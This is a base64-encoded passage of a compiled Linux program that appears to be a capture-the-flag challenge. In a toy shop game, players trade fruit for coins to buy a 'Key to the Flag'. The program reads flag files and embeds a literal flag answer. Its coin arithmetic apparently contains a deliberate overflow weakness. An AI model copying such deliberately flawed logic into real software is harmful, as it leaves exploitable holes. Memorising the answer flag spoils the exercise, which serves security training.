AEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAAAAAgACAAIAAgACAAIAAgACAAIAAAACAAIAAgAC
AAIAAgACAAEAAQABAAAAEAAAAAAAAAB1GmkJAAACAHkAAAAAAAAA8D9AAAAAAAAGAAAABgAAAAAA
AAAAAAAA+D9AAAAAAAAGAAAACgAAAAAAAAAAAAAAoEBAAAAAAAAFAAAAEQAAAAAAAAAAAAAAGEBA
AAAAAAAHAAAAAQAAAAAAAAAAAAAAIEBAAAAAAAAHAAAAAgAAAAAAAAAAAAAAKEBAAAAAAAAHAAAA
AwAAAAAAAAAAAAAAMEBAAAAAAAAHAAAABAAAAAAAAAAAAAAAOEBAAAAAAAAHAAAABQAAAAAAAAAA
AAAAQEBAAAAAAAAHAAAABwAAAAAAAAAAAAAASEBAAAAAAAAHAAAACAAAAAAAAAAAAAAAUEBAAAAA
AAAHAAAACQAAAAAAAAAAAAAAWEBAAAAAAAAHAAAACwAAAAAAAAAAAAAAYEBAAAAAAAAHAAAADAAA
AAAAAAAAAAAAaEBAAAAAAAAHAAAADQAAAAAAAAAAAAAAcEBAAAAAAAAHAAAADgAAAAAAAAAAAAAA
eEBAAAAAAAAHAAAADwAAAAAAAAAAAAAAgEBAAAAAAAAHAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwXt
LwAASIXAdAL/0EiDxAjDAAAAAAAAAAAA/zXiLwAA/yXkLwAADx9AAP8l4i8AAGgAAAAA6eD/////
JdovAABoAQAAAOnQ/////yXSLwAAaAIAAADpwP////8lyi8AAGgDAAAA6bD/////JcIvAABoBAAA
AOmg/////yW6LwAAaAUAAADpkP////8lsi8AAGgGAAAA6YD/////JaovAABoBwAAAOlw/////yWi
LwAAaAgAAADpYP////8lmi8AAGgJAAAA6VD/////JZIvAABoCgAAAOlA/////yWKLwAAaAsAAADp
MP////8lgi8AAGgMAAAA6SD/////JXovAABoDQAAAOkQ////Me1JidFeSIniSIPk8FBUScfA4BtA
AEjHwYAbQABIx8cnG0AA/xW2LgAA9A8fRAAAw2YuDx+EAAAAAAAPH0QAALigQEAASD2gQEAAdBO4
AAAAAEiFwHQJv6BAQAD/4GaQw2ZmLg8fhAAAAAAADx9AAL6gQEAASIHuoEBAAEjB/gNIifBIweg/
SAHGSNH+dBG4AAAAAEiFwHQHv6BAQAD/4MNmZi4PH4QAAAAAAA8fQACAPeEuAAAAdRdVSInl6H7/
///GBc8uAAABXcMPH0QAAMNmZi4PH4QAAAAAAA8fQADrjlVIieVIg+xwSIsFny4AAEiJwbovAAAA
vgEAAABIjT3zDQAA6Nb+//9IiwV/LgAASInH6Jf+///GRf8Bx0XgAAAAAMdF5AAAAADHRegAAAAA
6fcEAABIiwVSLgAASInBujQAAAC+AQAAAEiNPdYNAADoif7//0iLBTIuAABIicfoSv7//+gV/v//
iEX+6A3+//8PvkX+g/gyD4TdAQAAg/gyfxOD+P8PhGcEAACD+DF0HOlnBAAAg/gzD4RQAwAAg/g0
D4QWBAAA6VAEAABIiwXaLQAASInBuhwAAAC+AQAAAEiNPZMNAADoEf7//0iLBbotAABIicG6UAAA
AL4BAAAASI09lg0AAOjx/f//SIsFmi0AAEiJx+iy/f//6H39//+D6DGJRfjocv3//0iNBbwNAABI
iUXASI0FuA0AAEiJRchIjQW1DQAASIlF0MdFtAIAAADHRbgGAAAAx0W8ZAAAAIN9+AAPiNkAAACD
ffgCD4/PAAAAi0X4SJhIi1TFwEiLBSctAABIjTWIDQAASInHuAAAAADoE/3//0iLBQwtAABIicfo
JP3//+jv/P//g+gwiUX06OT8//8PtgXlLAAAD7bQi0X4SJiLRIW0D69F9DnCfTFIiwXSLAAASInB
uh8AAAC+AQAAAEiNPU4NAADoCf3//0iLBbIsAABIicfoyvz//+tvD7YVmSwAAItF+EiYi0SFtInG
i0X0icGJ8A+vwSnCidCIBXosAACLRfhImItUheCLRfQBwotF+EiYiVSF4Oswi0X4jVAxSIsFXCwA
AEiNNQUNAABIice4AAAAAOhI/P//SIsFQSwAAEiJx+hZ/P//kOnRAgAASIsFLCwAAEiJwbodAAAA
vgEAAABIjT3iDAAA6GP8//9IiwUMLAAASInBui0AAAC+AQAAAEiNPeAMAADoQ/z//0iLBewrAABI
icfoBPz//+jP+///g+gxiUXw6MT7//9IjQUODAAASIlFoEiNBQoMAABIiUWox0WYAQAAAMdFnAMA
AACDffAAD4jRAAAAg33wAQ+PxwAAAItF8EiYSItUxaBIiwWLKwAASI01nAwAAEiJx7gAAAAA6Hf7
//9IiwVwKwAASInH6Ij7///oU/v//4PoMIlF7OhI+///i0XwSJiLRIXgOUXsfjaLRfBImEiLVMWg
SIsFOSsAAEiNNW8MAABIice4AAAAAOgl+///SIsFHisAAEiJx+g2+///62+LRfBImItEhZiJwYtF
7InCicgPr8KJwg+2Be4qAAAB0IgF5ioAAItF8EiYi0SF4CtF7InCi0XwSJiJVIXg6zCLRfCNUDFI
iwXIKgAASI01cQsAAEiJx7gAAAAA6LT6//9IiwWtKgAASInH6MX6//+Q6T0BAAAPtgWQKgAAD7bQ
SIsFjioAAEiNNeELAABIice4AAAAAOh6+v//i1XgSIsFcCoAAEiNNdwLAABIice4AAAAAOhc+v//
i1XkSIsFUioAAEiNNdMLAABIice4AAAAAOg++v//i1XoSIsFNCoAAEiNNc0LAABIice4AAAAAOgg
+v//SIsFGSoAAEiJx+gx+v//i0XohcAPjqQAAABIiwX/KQAASInBuh0AAAC+AQAAAEiNPaoLAADo
Nvr//0iLBd8pAABIicfo9/n//7gBAAAA631IiwXJKQAASInBug4AAAC+AQAAAEiNPZILAADoAPr/
/0iLBakpAABIicfowfn//8ZF/wDrOb8BAAAA6NH5//9IiwWKKQAASInBujMAAAC+AQAAAEiNPWYL
AADowfn//0iLBWopAABIicfogvn//4B9/wAPhf/6//+4AAAAAMnDVUiJ5UiD7BAPtgU6KQAAPBN0
OUiLBTcpAABIicG6IQAAAL4BAAAASI09SwsAAOhu+f//SIsFFykAAEiJx+gv+f//uAAAAADpCAIA
AL8AAAAA6Av5//9IiUX4SIsF8CgAAEiLVfhIjTUvCwAASInHuAAAAADo2Pj//0iLRfiJx+it+P//
6bcBAABIiwXBKAAASInBuiMAAAC+AQAAAEiNPQULAADo+Pj//0iLBaEoAABIicfoufj//+iE+P//
iEX3gH33AHk5SIsFhCgAAEiJwboUAAAAvgEAAABIjT3sCgAA6Lv4//9IiwVkKAAASInH6Hz4//+4
AAAAAOlVAQAAD7ZF94PoMIhF9w++VfcPtgU1KAAAD7bAOcJ/BoB99wB5OUiLBSkoAABIicG6FAAA
AL4BAAAASI09kQoAAOhg+P//SIsFCSgAAEiJx+gh+P//uAAAAADp+gAAAEiLBfAnAABIicG6GQAA
AL4BAAAASI09bQoAAOgn+P//SIsF0CcAAEiJx+jo9///6LP3//+D6DCIRfboGPj//4nBumdmZmaJ
yPfqwfoCicjB+B8pwonQiUXwi1XwidDB4AIB0AHAKcGJyIlF8A++RfY5RfB1REiLBXsnAABIicG6
CQAAAL4BAAAASI09EgoAAOiy9///SIsFWycAAEiJx+hz9///D7YVRCcAAA+2RfcB0IgFOCcAAOst
SIsFNycAAItV8EiNNeIJAABIice4AAAAAOgg9///SIsFGScAAEiJx+gx9///D7YFAicAADw3D4U6
/v//uAEAAADJw1VIieVIg+wQuAAAAADoO/j//4TAD4SgAAAASI01pgkAAEiNPaEJAADo/vb//0iJ
RfBIg33wAHUlSI09lQkAAOhX9v//SIsFsCYAAEiJx+jI9v//vwAAAADo3vb//0iLRfBIicfoYvb/
/4hF/+saD75F/4nH6BL2//9Ii0XwSInH6Eb2//+IRf+Aff//deBIi0XwSInH6BH2//+/CgAAAOjn
9f//SIsFUCYAAEiJx+ho9v//uAEAAADrBbgAAAAAycNVSInlSIPsELgAAAAA6Nf8//+EwA+EoAAA
AEiNNeUIAABIjT39CAAA6D32//9IiUXwSIN98AB1JUiNPdQIAADolvX//0iLBe8lAABIicfoB/b/
/78AAAAA6B32//9Ii0XwSInH6KH1//+IRf/rGg++Rf+Jx+hR9f//SItF8EiJx+iF9f//iEX/gH3/
/3XgSItF8EiJx+hQ9f//vwoAAADoJvX//0iLBY8lAABIicfop/X//7gBAAAA6wW4AAAAAMnDVUiJ
5UiD7EBIjUXASLpiYXNlNjQgY0iJEMdACGhhbABIjUXASInH6A31//9IjQU+CAAASIlF+LgAAAAA
6D3+//+EwHQKuAAAAADo8P7//7gAAAAAycMPHwBBV0mJ10FWSYn2QVVBif1BVEyNJXgiAABVSI0t
eCIAAFNMKeVIg+wI6FP0//9Iwf0DdBsx2w8fAEyJ+kyJ9kSJ70H/FNxIg8MBSDnddepIg8QIW11B
XEFdQV5BX8MPHwDDAAAASIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAIAAAAAAFdlbGNvbWUg
dG8gbXkgU2hvcCEKV2hhdCB3b3VsZCB5b3UgbGlrZSB0byBkbz8KADEpIEJ1eQoyKSBTZWxsCjMp
IFZpZXcgWW91ciBJbnZlbnRvcnkKNCkgTGVhdmUgU2hvcAoAV2hhdCB3b3VsZCB5b3UgbGlrZSB0
byBidXk/CgAAAAAAAAAxKSBBbiBBcHBsZSAoMiBjb2lucykKMikgQW4gT3JhbmdlICg2IGNvaW5z
KQozKSBUaGUgS2V5IHRvIHRoZSBGbGFnICgxMDAgY29pbnMpCgBBcHBsZXMAT3JhbmdlcwBLZXlz
IHRvIHRoZSBGbGFnAAAAAAAAAABIb3cgbWFueSAlcyB3b3VsZCB5b3UgbGlrZSB0byBidXk/CgAA
AAAAWW91IGRvbid0IGhhdmUgZW5vdWdoIG1vbmV5IDooCgAlYyBpcyBub3QgYSB2YWxpZCBvcHRp
b24KAFdoYXQgd291bGQgeW91IGxpa2UgdG8gc2VsbD8KADEpIEFuIEFwcGxlICgxIGNvaW5zKQoy
KSBBbiBPcmFuZ2UgKDMgY29pbnMpCgAAAEhvdyBtYW55ICVzIHdvdWxkIHlvdSBsaWtlIHRvIHNl
bGw/CgBZb3UgZG9uJ3QgaGF2ZSBlbm91Z2ggJXMgOigKAFlvdSBoYXZlICVkIGdvbGQgY29pbnMh
CgBZb3UgaGF2ZSAlZCBBcHBsZXMhCgBZb3UgaGF2ZSAlZCBPcmFuZ2VzIQoAAABZb3UgaGF2ZSAl
ZCBLZXlzIHRvIHRoZSBGbGFnIQoAQ29uZ3JhdHMhISBZb3UgaGF2ZSB0aGUga2V5IQoAR29vZGJ5
ZSB0aGVuIQoAAAAAAERvIHlvdSByZWFsbHkgdGhpbmsgdGhpcyB3b3VsZCBiZSBzbyBlYXN5IHRv
IGhhY2s/CgAAAAAAWW91IGRpZG4ndCBzdGFydCBhbGwgb3ZlciBhZ2FpbiEKAFRpbWU6ICV6dQoA
AAAASG93IG11Y2ggbW9uZXkgZG8geW91IHdhbnQgdG8gYmV0PwoARG9uJ3QgdHJ5IGNoZWF0aW5n
IQoAV2hhdCBpcyB0aGUgdmFsdWU/ICgwLTkpCgBDb3JyZWN0IQoAQ29ycmVjdCBWYWx1ZSB3YXM6
ICVkCgByAGZsYWctMS50eHQAQ2Fubm90IG9wZW4gZmlsZSAAZmxhZy0yLnR4dAAAAGZsYWd7YjRz
MzY0XzFzX3MwX2Mzd2xfd2gwX2tuM3dfeW91X2MwdTFkX2RvX3RoMTV9AAABGwM7WAAAAAoAAABU
7P//tAAAAETt//90AAAAdO3//6AAAAAm7v//3AAAAIPz///8AAAA2fX//xwBAACa9v//PAEAAFv3
//9cAQAAtPf//3wBAAAU+P//xAEAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEHEBAAAAAcAAAAyOz/
/ysAAAAAAAAAFAAAAAAAAAABelIAAXgQARsMBwiQAQAAEAAAABwAAADM7P//AQAAAAAAAAAkAAAA
MAAAAJjr///wAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAHAAAAFgAAABC7f//XQUAAABBDhCG
AkMNBgNYBQwHCAAcAAAAeAAAAH/y//9WAgAAAEEOEIYCQw0GA1ECDAcIABwAAACYAAAAtfT//8EA
AAAAQQ4QhgJDDQYCvAwHCAAAHAAAALgAAABW9f//wQAAAABBDhCGAkMNBgK8DAcIAAAcAAAA2AAA
APf1//9WAAAAAEEOEIYCQw0GAlEMBwgAAEQAAAD4AAAAMPb//10AAAAAQg4QjwJFDhiOA0UOII0E
RQ4ojAVIDjCGBkgOOIMHRw5Aag44QQ4wQQ4oQg4gQg4YQg4QQg4IABAAAABAAQAASPb//wEAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwEUAAAAAA
AMARQAAAAAAAAQAAAAAAAAABAAAAAAAAAAwAAAAAAAAAABBAAAAAAAANAAAAAAAAAOQbQAAAAAAA
GQAAAAAAAAAQPkAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAABg+QAAAAAAAHAAAAAAAAAAI
AAAAAAAAAPX+/28AAAAACANAAAAAAAAFAAAAAAAAAOAEQAAAAAAABgAAAAAAAAAwA0AAAAAAAAoA
AAAAAAAAlAAAAAAAAAALAAAAAAAAABgAAAAAAAAAFQAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAEBA
AAAAAAACAAAAAAAAAFABAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAAAZAAAAAAAAHAAAA
AAAAALgFQAAAAAAACAAAAAAAAABIAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAAJgFQAAA
AAAA////bwAAAAABAAAAAAAAAPD//28AAAAAdAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAID5AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
NhBAAAAAAABGEEAAAAAAAFYQQAAAAAAAZhBAAAAAAAB2EEAAAAAAAIYQQAAAAAAAlhBAAAAAAACm
EEAAAAAAALYQQAAAAAAAxhBAAAAAAADWEEAAAAAAAOYQQAAAAAAA9hBAAAAAAAAGEUAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAKR0NDOiAoRGViaWFuIDguMy4wLTYpIDguMy4wAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAADAAEAqAJAAAAAAAAAAAAAAAAAAAAAAAADAAIAxAJAAAAAAAAAAAAA
AAAAAAAAAAADAAMA5AJAAAAAAAAAAAAAAAAAAAAAAAADAAQACANAAAAAAAAAAAAAAAAAAAAAAAAD
AAUAMANAAAAAAAAAAAAAAAAAAAAAAAADAAYA4ARAAAAAAAAAAAAAAAAAAAAAAAADAAcAdAVAAAAA
AAAAAAAAAAAAAAAAAAADAAgAmAVAAAAAAAAAAAAAAAAAAAAAAAADAAkAuAVAAAAAAAAAAAAAAAAA
AAAAAAADAAoAAAZAAAAAAAAAAAAAAAAAAAAAAAADAAsAABBAAAAAAAAAAAAAAAAAAAAAAAADAAwA
IBBAAAAAAAAAAAAAAAAAAAAAAAADAA0AEBFAAAAAAAAAAAAAAAAAAAAAAAADAA4A5BtAAAAAAAAA
